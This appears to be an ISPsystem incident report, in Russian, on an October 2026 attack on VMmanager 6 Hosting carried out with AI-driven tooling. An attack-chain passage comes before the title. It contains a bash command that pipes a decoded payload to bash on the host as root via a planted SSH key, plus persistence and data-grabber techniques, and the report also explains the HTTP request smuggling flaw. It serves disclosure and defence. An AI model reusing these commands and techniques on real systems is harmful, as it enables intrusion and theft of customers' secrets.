2. В бинарнике `/usr/local/bin/vm` (модуль `installer/internal/ssh/authorized_keys.go`) реализован метод `/ssh_key` (штатно предназначенный для функции «Разрешить доступ техподдержке ISPsystem»). При вызове этого метода демон на хосте записывает переданный публичный SSH-ключ в `/root/.ssh/authorized_keys` (и `/etc/ssh/ispsystem.pub`) и выполняет `systemctl restart sshd`.
3. Атакующий вызывает этот метод, прописывая на хост свой сгенерированный ключ `ssh-ed25519` с комментарием `vm-support-check`.
4. Далее каждая задача внутри контейнера сохраняет приватный ключ во временный файл `/tmp/.hk` и выполняет команды напрямую на хосте через IP-адрес Docker-моста (`root@172.18.0.1`):

```bash
echo <BASE64_OPENSSH_PRIVATE_KEY> | base64 -d > /tmp/.hk
chmod 600 /tmp/.hk
ssh -o BatchMode=yes \
    -o StrictHostKeyChecking=no \
    -o UserKnownHostsFile=/dev/null \
    -o ConnectTimeout=10 \
    -i /tmp/.hk -T root@172.18.0.1 'echo <BASE64_HOST_PAYLOAD> | base64 -d | bash'
rc=$?
rm -f /tmp/.hk
exit $rc
```

---

## 5. Пост-эксплуатация и компрометация узлов кластера (KVM-нод)

Получив `root` на хосте панели управления:

1. **Закрепление на хосте панели**:
   - Атакующий по частям (чанками по 65 КБ в `/tmp/.gb/c0000`..`c0150`) загружает на хост панели свои бинарные файлы, запускает процесс из памяти (`memfd_create` — `/memfd:bpfit (deleted)`) и создаёт фальшивые `systemd`-сервисы (`node-collect-svc.service`, `vm-mond.service`, `isp-stats-svc.service`).
   - В `/opt/ispsystem/vm/patch_*.yaml` прописывается `docker-compose`-оверлей, монтирующий скрипт с хоста в `/etc/my_init.d/` контейнера БД (`mysql`), чтобы при каждом перезапуске контейнера БД триггеры и вечные токены создавались заново.
2. **Атака на узлы кластера (гипервизоры)**:
   - Из таблицы `isp.vm_ssh_keys` (или через сервис `vault_v4`) извлекается приватный SSH-ключ кластера, по которому панель управляет всеми подключёнными KVM-узлами.
   - Также используется штатный механизм выполнения скриптов на узлах (`isp.vm_node_script` / задачи `ssh_run_node_script` в `taskmgr`).
   - На все узлы кластера копируется бинарник скрытого граббера под видом системного компонента QEMU (`/usr/libexec/.qemu-kvm-helper`), который в фоновом режиме инспектирует диски виртуальных машин из `/vm/` (через прямое чтение образов или `qemu-nbd`) в поисках приватных ключей, конфигурационных файлов, `.env` и кошельков, складывая результаты во временный буфер `/var/cache/.qkvc-<node_id>` для последующей выгрузки.

Атака на VMmanager 6 Hosting — разбор инцидента и хронология расследования



В середине октября инфраструктура нескольких десятков хостинг-провайдеров, использующих в своей ИТ-инфраструктуре VMmanager 6 Hosting, столкнулась со скоординированной многоэтапной атакой. Злоумышленники использовали уязвимости, которые с поправкой на специфику технических и бизнес-процессов хостинг-провайдеров увеличили поверхность атаки и привели к компрометации данных конфигурации, секретов и пользовательских файлов у ряда клиентов.

При взаимодействии с заказчиками и партнерами команда разработки ISPsystem в кратчайшие сроки начала расследование и устранение инцидента безопасности. В частности, было установлено, что атака на VMmanager 6 велась с помощью специализированных ИИ-инструментов. Уязвимости, которые эксплуатировались в ходе атаки, закрыты. Работа по изучению инцидента продолжается, чтобы исключить другие возможные векторы и установить все обстоятельства произошедшего.

Что произошло
14.10.2026 в 00:40 (МСК) в службу технической поддержки поступило обращение от одного из хостинг-провайдеров — в его инфраструктуре была обнаружена подозрительная активность на серверах под управлением VMmanager 6 Hosting.

Сразу после этого команда ISPsystem оперативно инициировала совместное с хостинг-провайдерами расследование инцидента, однако на момент начала реагирования не было достоверно установлено, что именно является точкой входа — платформа VMmanager 6 Hosting или инфраструктура провайдера. В дальнейшем анализ ситуации показал, что первые следы проникновения были зафиксированы у некоторых клиентов 12.10.2026. Также об этом свидетельствуют обсуждения пользователей в профильных сообществах социальных сетей.

По информации от провайдеров было выдвинуто предположение, что злоумышленник проник в инфраструктуру через уязвимость в ISO-образе, верифицированную в рамках программы Bug Bounty 09.10.2026. Иными словами, подобная ошибка предполагает наличие первичного пользовательского доступа, который можно получить, фактически просто купив виртуальную машину у хостинг-провайдера. Команда работала над ее исправлением. Усиление безопасности требовало определенных архитектурных доработок, поэтому релиз новой версии платформы был запланирован на 15.10.2026.

14.10.2026 в 19:00 (МСК) для экстренного закрытия уязвимостей вместо запланированного патча были выпущены хотфиксы 2026.05.2-5 и 2026.09.1-1, основанные на исправлениях, запланированных в новой версии. Чтобы ускорить выпуск, мы не стали включать в этот хотфикс ряд превентивных архитектурных доработок, которые планировали к релизу 15 октября: они вошли в следующие хотфиксы. Также команда ISPsystem оперативно уведомила заказчиков через техническую поддержку о необходимости установки таковых и дала актуальные на тот момент рекомендации по защите инфраструктур, в том числе закрыть возможность загрузки пользователями своих ISO для уже скомпрометированных инфраструктур. Поскольку VMmanager и DCImanager имеют ряд общих сервисов, схожий патч 2026.09.1-1 был собран и применён для DCImanager 15.10.2026.

В отличие от Enterprise-сегмента, где инфраструктуру можно полностью изолировать внутри закрытого корпоративного периметра, бизнес-модель хостинг-провайдеров требует максимальной публичной доступности. По этой причине хостинг-провайдеры, как правило, эксплуатируют платформу в открытом контуре. Здесь важно уточнить: для хостинг-провайдера «открытый контур» — это не просто наличие доступа в интернет, а публично доступные сервисы на белых IP-адресах. Именно белые IP-адреса и выставленные наружу сервисы кратно увеличивают поверхность атаки, которая включает не только саму платформу, но и окружающую инфраструктуру. У инфраструктурных клиентов «открытый контур» обычно означает лишь доступ в интернет. Поэтому модели угроз для этих двух сценариев принципиально различаются.

Утром 17.10.2026 (МСК) началась новая волна атак, подтвержденная обращениями в поддержку ISPsystem. Их количество увеличивалось по нарастающей в течение дня, и к вечеру 17.10.2026 суммарно составило порядка 20. В ходе изучения журналов систем, подвергшихся новому этапу атаки, мы выяснили, что выпущенный ранее хотфикс решил поставленную перед ним задачу, однако злоумышленник начал дополнительно эксплуатировать другую уязвимость. Одновременно с этим предприняли еще ряд мер защиты — закрыли возможность выдачи SSH-доступа в платформе, запретили администраторам запускать скрипты для узлов и ВМ, дали провайдерам рекомендации по «закрытию» их инфраструктуры, которые позволили ограничить злоумышленнику пространство для маневра и помешать ему закрепиться в системе, и собирали хотфиксы.

18.10.2026 в 4:00 (МСК) были выпущены хотфиксы 2026.05.2-6 и 2026.09.1-2. Мы намеренно ограничили часть функционала, в том числе запуск и выполнение скриптов внутри платформы. Это позволяло «парализовать» злоумышленника, однако мы понимали, что первопричина инцидента пока не найдена, и продолжали вести расследование.

18.10.2026 в 18:00 (МСК) были выпущены хотфиксы 2026.05.2-7 и 2026.09.1-3 с закрытием дополнительных потенциально возможных путей перемещения внутри продукта.

19.10.2026 были выпущены обновления безопасности для DCImanager 6 — 2026.09.1-3 и 2026.09.1-4: как уже упоминали, платформа имеет схожую архитектуру с VMmanager 6, и мы защищали и ее в рамках реагирования на инцидент.

19.10.2026 в 16:00 (МСК) в ходе расследования мы установили, что злоумышленник проникал на серверы с использованием контрабанды HTTP-запросов (HTTP Request Smuggling). Для этого использовалась ранее неизвестная 0-day уязвимость в нашем сервисе, а особенность nginx пропускать такие запросы делала ее эксплуатацию возможной. В систему отправлялся HTTP-запрос на установку websocket-соединения с телом. По RFC такое поведение со стороны клиента не рекомендуется, nginx пропускает подобные запросы, и это открыло возможность использования контрабанды HTTP-запросов.

В NGINX, начиная с версии 1.31.5 от 2 сентября 2026 года, появилась директива client_body_early_read, позволяющая легко и удобно настраивать блокировку подобных запросов как для HTTP/1.1, так и для HTTP/2 (к счастью, HTTP/3 мы не используем). К сожалению, в stable-версии nginx на текущий момент (1.30.6) эта директива еще не поддерживается. Безусловно, найденная особенность работы nginx не снимает с нас ответственности за возникновение инцидента, однако мы крайне рекомендуем учитывать ее, если вы используете это решение в своей инфраструктуре.

Это привело к тому, что сервис, к которому обращается злоумышленник, запрос отвергает, но при этом не вычитывает его тело, а поскольку запрос содержит keep-alive, читает полученное тело как новый запрос. Для обычных запросов при передаче их из nginx в сервис (proxy_pass) мы со своей стороны использовали дополнительные Connection: close, что не позволяет обманывать систему подобным образом, но для websocket этого делать нельзя.

Это и позволило злоумышленнику выполнить запрос внутри системы с административными привилегиями. Внутри сети docker наши службы помечают внутренние запросы специальным HTTP-заголовком, который снаружи не принимается (nginx, используемый как frontend, этот заголовок не пропускает). Но из-за того, что nginx второй запрос воспринимал как тело первого, он никак не анализировал и не менял его.

19.10.2026 в 21:00 (МСК) были выпущены хотфиксы 2026.05.2-8 и 2026.09.1-4 с исправлением обнаруженной контрабанды HTTP-запросов (HTTP Request Smuggling), при этом блокировка части функционала сохранялась, поскольку злоумышленник все еще оставался внутри платформы.

20.10.2026 в 4:00 (МСК) были выпущены хотфиксы 2026.05.2-9 и 2026.09.1-5: возвращены веб-сокеты, которые ранее ограничил хотфикс против HTTP Request Smuggling, а также выпущен более аккуратный фикс основной уязвимости, не затрагивавший основную функциональность платформы.

Параллельно мы занимались зачисткой инфраструктур: искали вредоносные файлы, бэкдоры и закрепления и значительную часть из них находили и удаляли сами. «Лаборатория Касперского» предложила свою помощь в поиске и устранении следов атакующих и индикаторов компрометации, и мы приняли это предложение: коллеги усилили начатую нами работу по чистке. С согласия тех клиентов, чьи инфраструктуры проверялись, мы провели аудит их систем с помощью утилиты «Лаборатории Касперского» и передали партнеру результаты анализа их инфраструктур, а также скрипты, которые написали сами для поиска следов.

Также «Лаборатория Касперского» оперативно обновила детектирующие правила для обнаружения ВПО атакующих с помощью собственных решений. Правила обновлялись далее по мере получения новых данных в ходе расследования инцидента.

20.10.2026 в 21:30 (МСК) выпущены хотфиксы 2026.05.2-10 и 2026.09.1-6 с доработкой архитектуры и возвратом ещё части намеренно заблокированного функционала. Добавлена автоматическая блокировка известных «закладок» злоумышленника. Также был выпущен фикс для DCImanager — 2026.09.1-5.

21.10.2026 в 19:00 (МСК) на основе анализа данных хостинг-провайдеров «Лаборатория Касперского» предоставила бесплатный инструмент Kaspersky Virus Removal Tool (KVRT). Он помогал выявлять оставшиеся вредоносные объекты — например, бинарные файлы и другие следы атакующих. Инструмент был передан ряду провайдеров для дополнительного сканирования. Он показал эффективность, после чего ISPsystem предложила его всем, кого затронул инцидент.

22.10.2026 в 21:30 (МСК) мы выпустили фиксы 2026.05.2-11 и 2026.09.1-7 с дополнительными механизмами защиты платформы от потенциальных атак и стабилизационными улучшениями уже выпущенных хотфиксов. Параллельно мы продолжили анализировать скомпрометированные инфраструктуры, искать бэкдоры и аномалии.

23.10.2026 выпущены обновления безопасности для всех продуктов экосистемы: VMmanager 6 — stable v2026.05.2-12, regular v2026.09.1-8; DCImanager 6 — stable v2026.09.2-2, regular v2026.09.1-6; BILLmanager 6 — stable v6.154.5, regular v6.157.3; DNSmanager 6 — v6.5.2. Подчеркнем: эти обновления представляют собой дополнительные меры защиты, внедренные по результатам анализа методов атаки, и направлены на усиление безопасности экосистемы в целом — в том числе от векторов, которые в ходе инцидента не применялись. Также включают обновление компонентов nginx с устранением известных уязвимостей CVE-2026-15176, CVE-2026-97205, CVE-2026-93479.

После установки патча от 19.10.2026 случаев компрометации инфраструктур, применивших обновление, не зафиксировано.

23.10.2026 совместно с «Лабораторией Касперского» и клиентами хостинг-провайдеров мы продолжили работу по изучению скомпрометированных инфраструктур. По ее завершении мы дополнительно проинформируем о рекомендациях, которые необходимо выполнить для полной зачистки инфраструктуры.

В ходе расследования, чтобы проверить эффективность исправлений в условиях реальной атаки, ISPsystem развернула ряд стендов в открытом контуре, имитирующих инфраструктуру хостинг-провайдеров (honeypot): часть с актуальными патчами безопасности, другая без них. Стенды без исправлений были намеренно оставлены уязвимыми и подтвердили воспроизводимость атак. Стенды с исправлениями скомпрометировать не удалось.

Злоумышленник обнаружил стенды в короткие сроки и в течение нескольких дней предпринимал попытки взлома: в общей сложности более 10 000 запросов только на одну установку с перебором различных векторов и вызовов. Все попытки против защищенных стендов были отражены: исправления подтвердили эффективность в условиях реальной атаки. При этом мы изучаем, какие векторы злоумышленник пробовал использовать: эти данные будут учтены в следующих патчах.

На данный момент в ходе совместного с провайдерами расследования инцидента было установлено, что атака повлекла за собой угрозу безопасности пользовательских данных, включая потенциальную утечку SSH-ключей, паролей доступа, токенов доступа к облачным сервисам, конфигурационных файлов, истории вводимых команд, криптокошельков и пользовательских документов. Для части конечных клиентов инцидент обернулся временной недоступностью сервисов, вызванной необходимостью проведения экстренных технических работ и принудительной изоляции скомпрометированных нод. В результате анализа инцидента на узлах было обнаружено специализированное вредоносное ПО, занимающееся сбором данных. Вместе с тем мы не можем ни подтвердить, ни опровергнуть объем и сам факт передачи данных. Поэтому ряд провайдеров оценивает ситуацию консервативно и считает де-факто данные скомпрометированными. Мы считаем данный подход обоснованным.

На сегодняшний день закрыты уязвимости, которые эксплуатировались в ходе атаки. На инфраструктурах заказчиков развернуты необходимые исправления безопасности. При этом расследование продолжается: совместно с заказчиками и партнерами мы изучаем скомпрометированные инфраструктуры, анализируем поведение атакующего, а также ищем заложенные ранее не выявленные злоумышленником бэкдоры.

Меры реагирования и недопущения подобных ситуаций:
  • В рамках реагирования было организовано тесное взаимодействие с рядом хостинг-провайдеров — их обратная связь, содействие в проверке инсталляций и готовность участвовать в диагностике использовались для локализации инцидента и проверки эффективности принятых мер.
  • Мы информировали клиентов по закрытым каналам: рассылки, личный кабинет, баннеры в продукте. Публичных заявлений не делали, пока злоумышленник оставался активен: преждевременное раскрытие деталей могло увеличить число пострадавших. Приоритетом было снижение риска для клиентов, а не скорость публичной коммуникации. Дополнительно мы убирали с официального сайта предыдущие версии патчей безопасности, чтобы у клиентов не возникало путаницы при установке актуальной версии. Убедительно просим обращать внимание на сообщения вендора и не откладывать установку обновлений безопасности.
  • На стороне продукта внесены изменения во внутренний framework, используемый всеми сервисами системы — усилен контроль над обработкой HTTP-запросов и введены дополнительные проверки для внутренних запросов, чтобы снизить риск их подделки при проникновении злоумышленника во внутреннюю сеть.
  • Усилены механизмы защиты платформы от потенциальных атак — изменения уже вошли в последний релиз. Работа по повышению защищенности платформы продолжается — в ближайшее время выпустим и другие дополнительные обновления. Пожалуйста, устанавливайте актуальные версии и следите за рекомендациями. Использование старых версий продукта значительно усложняет или вовсе исключает проведение расследования в случае возникновения инцидента, а также делает возможным использование уязвимостей для проникновения и взлома, уже устраненных вендором в актуальных версиях платформы.
  • Мы уже трансформировали внутренний процесс управления жизненным циклом уязвимостей. Это позволит усилить их поиск, контроль и обработку, а также перейти к модели сквозного превентивного и экспресс-реагирования на инциденты безопасности. Данный подход уже применялся при итеративной доставке последних хотфиксов. Почему это важно? Когда атакующие работают с автоматизированными инструментами, между находкой уязвимости и её эксплуатацией проходят часы.
  • Еще одно направление работы — автоматизированный непрерывный ИИ-пентест. Эта практика применялась и ранее, но в рамках реагирования на инцидент была усилена: выросла частота проверок и расширился их охват. Это позволяет выявлять скрытые цепочки уязвимостей более оперативно.
  • Сотрудничество с «Лабораторией Касперского» будет продолжено с целью аудита скомпрометированных инфраструктур и проведения полноценного расследования для восстановления всей картины инцидента, включая поиск закрепов акторов, новых IoC и зачистку инфраструктур.
  • Важная информация для пользователей, которые закрыли контур в связи с инцидентом: просим держать контур закрытым еще некоторое время: мы завершаем анализ действий злоумышленника и планируем выпустить еще несколько патчей с усилением безопасности. Мы сообщим о возможности открытия контура и возобновлении работы в штатном режиме. Дополнительно всем пользователям рекомендуем использовать надежные средства защиты от киберугроз. Решения «Лаборатории Касперского» обнаруживают ВПО, применяемое в данной атаке. Вы также можете проверить инфраструктуру с помощью бесплатного инструмента Лаборатории под названием Kaspersky Virus Removal Tool (KVRT).
Важная информация для пользователей лицензий VMmanager Infrastructure и VMmanager Infrastructure (версия ФСТЭК): мы подготовили дополнительные меры усиления безопасности платформы на основании данных анализа инцидента и рекомендуем произвести установку выпускаемых патчей по мере их выхода.

Вывод
Мы столкнулись с беспрецедентной по своим масштабам атакой и на наши продукты, и на хостинг-провайдеров одновременно. На сегодняшний день было установлено, что она велась с помощью специализированных инструментов на базе ИИ. В частности, на это указывает наличие характерных специфических ИИ-паттернов, оставленных комментариев в скриптах злоумышленника, количество атак, а также тот факт, что в разных инфраструктурах одновременно шел параллельный процесс подбора методов атаки с динамическим изменением поведения злоумышленника в зависимости от настроек инфраструктуры конкретного провайдера, и ряд других наблюдений, сделанных нами в процессе изучения инцидента.

Сегодня инструменты на базе ИИ все активнее применяются при поиске уязвимостей, в том числе в широко распространенных компонентах — PHP, ядре Linux, nginx, Postgres. За последние недели атакам подверглись как фундаментальные компоненты, так и прикладные платформы. Использование таких инструментов существенно меняет требования к скорости реакции разработчиков программного обеспечения на подобные угрозы. Безусловно, безопасность — это не свойство когда-то написанного кода, а непрерывный процесс. ИИ не отменяет этот процесс, но задает ему более высокий темп.

Безопасность требует постоянной работы; для недопущения подобных ситуаций мы продолжим выпускать обновления с усиленными механизмами защиты и анализировать инфраструктуры. Расследование инцидента не завершится до тех пор, пока мы не будем уверены, что в пораженных средах не осталось каких-либо закреплений или бэкдоров злоумышленника.

Мы понимаем, что этот инцидент потребовал от наших клиентов и партнеров дополнительных усилий, приносим свои извинения и благодарим всех, кто помогает в диагностике и проверке исправлений.